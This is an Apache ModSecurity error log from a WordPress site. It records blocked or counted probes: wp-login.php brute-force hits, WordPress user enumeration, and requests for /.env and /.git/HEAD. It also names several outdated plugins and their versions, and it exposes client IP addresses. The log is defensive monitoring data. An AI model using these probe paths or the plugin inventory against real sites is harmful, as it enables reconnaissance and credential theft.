[Thu Jan 22 21:50:16.004849 2026] [:error] [pid 52447:tid 52531] [client 62.84.190.190:55220] [client 62.84.190.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.84.190.190, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXIrGHRLA2NsdGqJzotsMAAAAJY"]
[Thu Jan 22 22:29:50.218961 2026] [:error] [pid 20418:tid 20423] [client 95.216.63.67:54560] [client 95.216.63.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/license.php"] [unique_id "aXI0XhahoKEa6eS4cSqQiQAAAYE"], referer: www.google.com
[Thu Jan 22 23:15:13.933886 2026] [:error] [pid 34321:tid 34343] [client 146.70.180.22:58648] [client 146.70.180.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXI_ARLMkukwqSCtKrDELgAAAdM"]
[Fri Jan 23 00:20:26.816825 2026] [:error] [pid 52446:tid 52484] [client 182.44.9.147:52111] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXJOSrJ6clMw4kdrHYFDfwAAAEI"]
[Fri Jan 23 00:32:42.513300 2026] [:error] [pid 20418:tid 20432] [client 83.166.133.91:49432] [client 83.166.133.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.166.133.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXJRKhahoKEa6eS4cSqkywAAAYo"]
[Fri Jan 23 01:54:01.538789 2026] [:error] [pid 27550:tid 27557] [client 5.129.215.121:47702] [client 5.129.215.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.129.215.121, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXJkOeOQDPzfV5R2LYSAIAAAAQU"]
[Fri Jan 23 03:10:20.665644 2026] [:error] [pid 20418:tid 20437] [client 94.205.249.38:11329] [client 94.205.249.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.205.249.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXJ2HBahoKEa6eS4cSrC6QAAAY8"]
[Fri Jan 23 04:51:47.434109 2026] [:error] [pid 11732:tid 11751] [client 43.166.255.122:40896] [client 43.166.255.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXKN4-fd54xxq04JKuM1ngAAANE"]
[Fri Jan 23 04:57:26.427703 2026] [:error] [pid 11606:tid 11619] [client 185.252.223.39:51170] [client 185.252.223.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.252.223.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXKPNlnjAJqfHEQLcshl_QAAAAQ"]
[Fri Jan 23 05:10:03.134917 2026] [:error] [pid 11608:tid 11695] [client 173.252.69.1:33602] [client 173.252.69.1] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aXKSK74alK6RZLlMctpfIQAAAJc"]
[Fri Jan 23 06:49:03.052839 2026] [:error] [pid 11607:tid 11654] [client 182.44.10.67:48109] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXKpXwucTAUsUUzKw5c2TAAAAEo"]
[Fri Jan 23 07:04:26.118849 2026] [:error] [pid 11607:tid 11668] [client 85.239.244.15:33698] [client 85.239.244.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.239.244.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXKs-gucTAUsUUzKw5c8rQAAAFc"]
[Fri Jan 23 09:20:22.802591 2026] [:error] [pid 11608:tid 11687] [client 193.202.83.166:63415] [client 193.202.83.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXLM1r4alK6RZLlMctrajgAAAI8"]
[Fri Jan 23 09:20:31.915565 2026] [:error] [pid 62368:tid 62395] [client 5.181.168.17:11391] [client 5.181.168.17] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXLM3yeMzKRnyYLMANPjXwAAARg"]
[Fri Jan 23 09:20:34.290236 2026] [:error] [pid 11606:tid 11625] [client 185.102.113.118:37151] [client 185.102.113.118] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXLM4lnjAJqfHEQLcsjdxgAAAAo"]
[Fri Jan 23 09:21:49.035326 2026] [:error] [pid 11732:tid 11736] [client 93.177.118.145:26265] [client 93.177.118.145] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXLNLefd54xxq04JKuPT_gAAAMI"]
[Fri Jan 23 09:21:51.947924 2026] [:error] [pid 11606:tid 11634] [client 185.61.216.165:17883] [client 185.61.216.165] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXLNL1njAJqfHEQLcsjeDAAAABM"]
[Fri Jan 23 09:21:54.937032 2026] [:error] [pid 11732:tid 11755] [client 178.20.213.108:16149] [client 178.20.213.108] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aXLNMufd54xxq04JKuPUBAAAANU"]
[Fri Jan 23 09:34:14.779455 2026] [:error] [pid 64230:tid 64235] [client 35.198.225.249:57172] [client 35.198.225.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.198.225.249, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXLQFq2JXmVjD91caKIbGwAAAUI"]
[Fri Jan 23 09:59:53.351048 2026] [:error] [pid 11607:tid 11651] [client 61.68.119.201:43562] [client 61.68.119.201] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "51.222.95.150_38fe0bde74a94317ba64948c2013b47a85fb6514"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/css/conditionals/lightbox.min.css"] [unique_id "aXLWFwucTAUsUUzKw5eAVwAAAEc"], referer: https://vetstars.com.au/
[Fri Jan 23 09:59:53.352247 2026] [:error] [pid 64912:tid 64929] [client 61.68.119.201:43566] [client 61.68.119.201] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "40.77.167.9_3d3ac58d8463837308f32ae367c2da2fbbbe11de"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/sticky-header-effects-for-elementor/assets/js/she-header.js"] [unique_id "aXLWF7em6jVGKqodwtJCGAAAAY8"], referer: https://vetstars.com.au/
[Fri Jan 23 10:41:40.662033 2026] [:error] [pid 11606:tid 11629] [client 80.211.229.185:35802] [client 80.211.229.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.211.229.185, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXLf5FnjAJqfHEQLcsjyXgAAAA4"]
[Fri Jan 23 13:00:52.533750 2026] [:error] [pid 11606:tid 11620] [client 101.32.52.164:40034] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXMAhFnjAJqfHEQLcsgdFQAAAAU"]
[Fri Jan 23 13:09:29.839892 2026] [:error] [pid 11607:tid 11658] [client 85.209.9.49:57976] [client 85.209.9.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.209.9.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXMCiQucTAUsUUzKw5ewjwAAAE4"]
[Fri Jan 23 14:20:10.971825 2026] [:error] [pid 11608:tid 11685] [client 134.209.114.227:52124] [client 134.209.114.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.114.227, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXMTGr4alK6RZLlMctph8AAAAI0"]
[Fri Jan 23 15:39:12.751762 2026] [:error] [pid 11732:tid 11739] [client 181.2.144.58:37340] [client 181.2.144.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.2.144.58, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXMloOfd54xxq04JKuMzewAAAMU"]
[Fri Jan 23 16:45:48.152373 2026] [:error] [pid 1517:tid 1542] [client 43.130.139.177:60804] [client 43.130.139.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXM1PCZNw8-8ydKHCJs0LgAAAdY"]
[Fri Jan 23 16:54:41.660112 2026] [:error] [pid 1517:tid 1538] [client 188.212.159.69:36794] [client 188.212.159.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.212.159.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXM3USZNw8-8ydKHCJs3mAAAAdI"]
[Fri Jan 23 17:19:05.187694 2026] [:error] [pid 64912:tid 64932] [client 118.211.73.121:51913] [client 118.211.73.121] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "103.195.238.44_795291792e99036455e55ce0d855cc493f9bf221"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css"] [unique_id "aXM9Brem6jVGKqodwtLQcAAAAZI"], referer: https://vetstars.com.au/
[Fri Jan 23 18:23:37.764991 2026] [:error] [pid 64912:tid 64927] [client 85.239.234.122:45734] [client 85.239.234.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.239.234.122, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXNMKbem6jVGKqodwtLeDAAAAY0"]
[Fri Jan 23 19:36:58.527424 2026] [:error] [pid 64230:tid 64243] [client 107.180.242.112:41904] [client 107.180.242.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.242.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXNdWq2JXmVjD91caKK1-wAAAUo"]
[Fri Jan 23 20:55:43.115745 2026] [:error] [pid 64230:tid 64241] [client 157.245.42.243:50336] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.42.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXNvz62JXmVjD91caKLFbAAAAUg"]
[Fri Jan 23 21:37:42.075187 2026] [:error] [pid 64912:tid 64915] [client 196.177.114.215:56691] [client 196.177.114.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aXN5prem6jVGKqodwtIGEgAAAYE"]
[Fri Jan 23 21:37:42.089556 2026] [:error] [pid 11607:tid 11666] [client 196.177.114.215:56692] [client 196.177.114.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aXN5pgucTAUsUUzKw5caawAAAFU"]
[Fri Jan 23 22:19:23.990342 2026] [:error] [pid 11608:tid 11674] [client 157.245.42.243:48830] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.42.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXODa74alK6RZLlMctre0QAAAII"]
[Fri Jan 23 23:41:33.579894 2026] [:error] [pid 64230:tid 64257] [client 52.226.240.29:8129] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.226.240.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXOWra2JXmVjD91caKLhlQAAAVg"]
[Sat Jan 24 00:30:28.225186 2026] [proxy_fcgi:error] [pid 1517:tid 1534] [client 103.4.122.14:60408] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, 'b86d585e0a79f23c14c647cdfd25b126', 'b86d585e0a79f23c14c647cdfd25b126', 'The Plugin \\"Anti-Malware Security and Brute-Force Firewall\\" needs an upgrade (4.23.83 -> 4.23.85).', 'You need to upgrade \\"Anti-Malware Security and Brute-Force Firewall\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:46:\\"Anti-Malware Security and Brute-Force Firewall\\";s:9:\\"PluginURI\\";s:19:\\"https://gotmls.net/\\";s:7:\\"Version\\";s:7:\\"4.23.83\\";s:11:\\"Description\\";s:248:\\"This Anti-Virus/Anti-Malware plugin searches for Malware and other Virus like threats and vulnerabilities on your server and helps you remove them. It\\'s always growi...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 100, 'dddb5211205ed03f06ce491b3ad0dff6', 'dddb5211205ed03f06ce491b3ad0dff6', 'The Plugin \\"Elementor\\" needs an upgrade (3.33.0 -> 3.34.2).', 'You need to upgrade \\"Elementor\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:28:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:9:\\"Elementor\\";s:9:\\"PluginURI\\";s:87:\\"https://elementor.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash\\";s:7:\\"Version\\";s:6:\\"3.33.0\\";s:11:\\"Description\\";s:145:\\"The Elementor Website Builder has it all: drag and drop page builder, pixel perfect design, mobile responsive editing, and more. Get started now!\\";s:6:\\"Author\\";s:13:\\"Elementor.com\\";s:9:\\"AuthorURI\\";s:87:\\"h...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, 'fd8d497870c6beccb640758f2a853ac9', 'fd8d497870c6beccb640758f2a853ac9', 'The Plugin \\"Really Simple Security\\" needs an upgrade (9.5.3.1 -> 9.5.6).', 'You need to upgrade \\"Really Simple Security\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:22:\\"Really Simple Security\\";s:9:\\"PluginURI\\";s:29:\\"https://really-simple-ssl.com\\";s:7:\\"Version\\";s:7:\\"9.5.3.1\\";s:11:\\"Description\\";s:161:\\"Easily improve site security with WordPress Hardening, Two-Factor Authentication (2FA), Login Protection, Vulnerability Detection and SSL certificate generation.\\";s:6:\\"Author\\";s:22:\\"Really Simple Security\\";s:9:\\"AuthorURI\\";s...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, '09c1845a27eb9e4da5aa1031c19aab17', '09c1845a27eb9e4da5aa1031c19aab17', 'The Plugin \\"Simple History\\" needs an upgrade (5.18.0 -> 5.22.0).', 'You need to upgrade \\"Simple History\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:14:\\"Simple History\\";s:9:\\"PluginURI\\";s:26:\\"https://simple-history.com\\";s:7:\\"Version\\";s:6:\\"5.18.0\\";s:11:\\"Description\\";s:106:\\"Plugin that logs various things that occur in WordPress and then presents those events in a very nice GUI.\\";s:6:\\"Author\\";s:16:\\"P\xc3\xa4r Thernstr\xc3\xb6m\\";s:9:\\"AuthorURI\\";s:27:\\"https://simple-history.com/\\";s:10:\\"TextDomain\\";s:14:\\"simple-history\\";s:10:\\"Do...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, 'ca3564ceddea620821df3e078dbf311b', 'ca3564ceddea620821df3e078dbf311b', 'The Plugin \\"Smart Slider 3\\" needs an upgrade (3.5.1.30 -> 3.5.1.32).', 'You need to upgrade \\"Smart Slider 3\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:14:\\"Smart Slider 3\\";s:9:\\"PluginURI\\";s:25:\\"https://smartslider3.com/\\";s:7:\\"Version\\";s:8:\\"3.5.1.30\\";s:11:\\"Description\\";s:64:\\"The perfect all-in-one responsive slider solution for WordPress.\\";s:6:\\"Author\\";s:7:\\"Nextend\\";s:9:\\"AuthorURI\\";s:24:\\"https://smartslider3.com\\";s:10:\\"TextDomain\\";s:14:\\"smart-slider-3\\";s:10:\\"DomainPath\\";s:0:\\"\\";s:7:\\"Network\\";b:0;s:10:\\"Requ...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, '7d268e8f5fdf1c5d2fb18da4f5459a94', '7d268e8f5fdf1c5d2fb18da4f5459a94', 'The Plugin \\"Sticky Header Effects for Elementor\\" needs an upgrade (2.1.3 -> 2.1.6).', 'You need to upgrade \\"Sticky Header Effects for Elementor\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:35:\\"Sticky Header Effects for Elementor\\";s:9:\\"PluginURI\\";s:31:\\"https://stickyheadereffects.com\\";s:7:\\"Version\\";s:5:\\"2.1.3\\";s:11:\\"Description\\";s:178:\\"Create stunning sticky headers with multiple scroll effects like shrink, fade, slide, and blur\xe2\x80\x94packed with 50+ ready-to-import templates and fully customizable using Elementor.\\";s:6:\\"Author...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, '91a0f01ef314bfdd28fa1d82fe8f299e', '91a0f01ef314bfdd28fa1d82fe8f299e', 'The Plugin \\"Wordfence Security\\" needs an upgrade (8.1.1 -> 8.1.4).', 'You need to upgrade \\"Wordfence Security\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:18:\\"Wordfence Security\\";s:9:\\"PluginURI\\";s:26:\\"https://www.wordfence.com/\\";s:7:\\"Version\\";s:5:\\"8.1.1\\";s:11:\\"Description\\";s:58:\\"Wordfence Security - Anti-virus, Firewall and Malware Scan\\";s:6:\\"Author\\";s:9:\\"Wordfence\\";s:9:\\"AuthorURI\\";s:26:\\"https://www.wordfence.com/\\";s:10:\\"TextDomain\\";s:9:\\"wordfence\\";s:10:\\"DomainPath\\";s:10:\\"/languages\\";s:7:\\"Network\\";b:1;s:10...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfissues (time, lastUpdated, status, type, severity, ignoreP, ignoreC, shortMsg, longMsg, data) VALUES (UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), 'new', 'wfPluginUpgrade', 50, 'eb8ae092910920f1a50cdbb2e10656d2', 'eb8ae092910920f1a50cdbb2e10656d2', 'The Plugin \\"WP Fastest Cache\\" needs an upgrade (1.4.1 -> 1.4.4).', 'You need to upgrade \\"WP Fastest Cache\\" to the newest version to ensure you have any security fixes the developer has released.', 'a:22:{s:18:\\"Requires Yoast SEO\\";s:0:\\"\\";s:4:\\"Name\\";s:16:\\"WP Fastest Cache\\";s:9:\\"PluginURI\\";s:46:\\"http://wordpress.org/plugin
